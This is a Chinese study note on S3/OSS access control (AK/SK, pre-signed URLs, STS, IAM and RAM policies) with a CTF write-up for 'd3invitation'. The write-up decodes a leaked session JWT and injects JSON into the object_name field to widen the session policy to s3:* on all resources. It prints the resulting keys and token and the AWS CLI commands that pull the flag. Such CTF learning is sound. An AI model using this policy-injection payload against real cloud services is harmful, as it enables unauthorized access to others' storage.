储存桶的安全应用问题--learning
理论分析
参考文章:
私有读私有写的概念
在 S3 存储桶的访问控制中,私有读私有写指的是:
- 私有读:只有授权用户可以读取存储桶或其文件内容。
- 私有写:只有授权用户可以向存储桶中写入数据或修改存储桶内容。
默认情况下,S3 存储桶是私有的,只有拥有访问权限的用户才能执行相关操作。
****访问控制方式
为了保证私有读私有写,S3 提供了以下几种访问控制方式:
a. 使用访问密钥(AK/SK)
{
"AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
}
- AK(Access Key ID) 和 SK(Secret Access Key) 是访问 S3 的核心凭证。
- 拥有 AK/SK 的用户可以直接通过 API 或 SDK 与 S3 交互。
- AK/SK 的管理需要谨慎,泄露可能导致存储桶被未授权访问。
b. 预签名 URL(Pre-Signed URL)
- 预签名 URL 是一种临时授权方式,用于外部用户访问存储桶中的资源。
- 签名 URL 包含了资源路径、有效期以及加密的授权信息。
- 用户无需 AK/SK,通过签名 URL 即可访问指定资源。
- 适合短时间的临时访问场景,例如文件下载或共享。
c. 临时凭据(STS:Security Token Service)
- STS 提供了基于 IAM(身份访问管理)的临时凭据。
- 可以限定凭据的有效时间以及权限范围。
- 适用于动态生成授权的场景,例如多用户临时访问。
RAM/IAM 策略详解
RAM(Resource Access Management)和
IAM(Identity and Access Management)
策略是云服务中核心的访问控制机制,用于精确控制用户、角色和服务对云资源的访问权限。
1. 基本概念
IAM vs RAM
- AWS IAM:Amazon Web Services 的身份与访问管理服务
- 阿里云 RAM:阿里云的资源访问管理服务
- 核心目标:都是实现"谁可以在什么条件下对哪些资源执行什么操作"
策略组成要素
{
"Version": "1",
"Statement": [
{
"Effect": "Allow/Deny",
"Principal": "用户/角色/服务",
"Action": "操作权限",
"Resource": "资源ARN",
"Condition": "条件限制"
}
]
}
2. 策略类型
a. 基于身份的策略(Identity-based Policy)
- 附加到用户、用户组或角色上
- 定义该身份可以执行的操作
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:PutObject"
],
"Resource": "arn:aws:s3:::my-bucket/*"
}
]
}
b. 基于资源的策略(Resource-based Policy)
- 直接附加到资源上(如 S3 存储桶策略)
- 定义谁可以访问该资源
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUserAccess",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::
安全问题
直接把 ASKS 硬编码到前端
导致直接泄露
// JS
const ossClient = new OSS({
accessKeyId: 'LTAI5tNvxxxxxxxxxx', // 💀 完全暴露
accessKeySecret: 'xxxxxxxxxxxxxxxxxxx', // 💀 完全暴露
bucket: 'my-bucket',
region: 'oss-cn-hangzhou'
});
同时会导致一个问题,给的权限过大
{
"Version": "1",
"Statement": [
{
"Effect": "Allow",
"Action": "oss:*", // 💀 所有操作
"Resource": "acs:oss:*:*:*" // 💀 所有资源
}
]
}
CTF 中题目体现
d3invitation
一个登录页面
上传一个名字跟图像,抓包,可以发现key和id泄露
分析这个jwt
eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJaNlE5OEhMUE9FTkg0RTBFMUlWTiIsImV4cCI6MTc0ODYyMjc3MywicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2Tmprd1lUZ3dOMlUyWW1NNU5HWmxNVEV5TldReU5tTTFaakkxWW1FNVpDNXFjR2NpWFgxZGZRPT0ifQ.TXr-XgRJtPFXLOcKKCEB-j8PUx6H2ssvdt-Y3WOBehrESEf51XiibCz6SqtQ2aBCGpiW_i1eNlnawm7dNsq1dQ
--》
{
"accessKey": "Z6Q98HLPOENH4E0E1IVN",
"exp": 1748622773,
"parent": "B9M320QXHD38WUR2MIY3",
"sessionPolicy": "eyJWZXJzaW9uIjoiMjAxMi0xMC0xNyIsIlN0YXRlbWVudCI6W3siRWZmZWN0IjoiQWxsb3ciLCJBY3Rpb24iOlsiczM6R2V0T2JqZWN0IiwiczM6UHV0T2JqZWN0Il0sIlJlc291cmNlIjpbImFybjphd3M6czM6OjpkM2ludml0YXRpb24vNjkwYTgwN2U2YmM5NGZlMTEyNWQyNmM1ZjI1YmE5ZC5qcGciXX1dfQ=="
}
base64解码
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:GetObject","s3:PutObject"],"Resource":["arn:aws:s3:::d3invitation/690a807e6bc94fe1125d26c5f25ba9d.jpg"]}]}
我们逃逸这个,伪造一个,保证我们获得访问权限
{ "object_name": "690a807e6bc94fe1125d26c5f25ba9d.jpg\"],\"Action\":[\"s3:*\"],\"Resource\":[\"arn:aws:s3:::*\"],\"test\":[\"test" }
{
"access_key_id": "F3BZ2MHNQYP7T4ZLFGG1",
"secret_access_key": "NF39mk0QsXRhzs5kfq1fUIF2bvrVU3HUoROqOIOO",
"session_token": "eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJGM0JaMk1ITlFZUDdUNFpMRkdHMSIsImV4cCI6MTc0ODYyMzk0NCwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZLaUpkTENKU1pYTnZkWEpqWlNJNld5SmhjbTQ2WVhkek9uTXpPam82S2lKZGZWMTkifQ.NXmVD94r6yY3Gb1QA1GqS0IrErLnHIkHvb_My9xPiqJLMFBCDtXY2wcFeghTtpBc3ABNa3z5ZfbioVXF7yVpWw"
}
利用AWS CLI
export AWS_ACCESS_KEY_ID=F3BZ2MHNQYP7T4ZLFGG1
export AWS_SECRET_ACCESS_KEY=NF39mk0QsXRhzs5kfq1fUIF2bvrVU3HUoROqOIOO
export AWS_SESSION_TOKEN="eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJGM0JaMk1ITlFZUDdUNFpMRkdHMSIsImV4cCI6MTc0ODYyMzk0NCwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTF4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZLaUpkTENKU1pYTnZkWEpqWlNJNld5SmhjbTQ2WVhkek9uTXpPam82S2lKZGZWMTkifQ.NXmVD94r6yY3Gb1QA1GqS0IrErLnHIkHvb_My9xPiqJLMFBCDtXY2wcFeghTtpBc3ABNa3z5ZfbioVXF7yVpWw"export AWS_DEFAULT_REGION=us-east-1
然后执行
aws s3 ls --endpoint-url http://35.220.136.70:32105
root@VM-0-9-ubuntu:/home/ubuntu# aws s3 sync s3://flag ./flag_downloaded --endpoint-url http://35.220.136.70:32105
download: s3://flag/flag to flag_downloaded/flag
下载下来
得到flag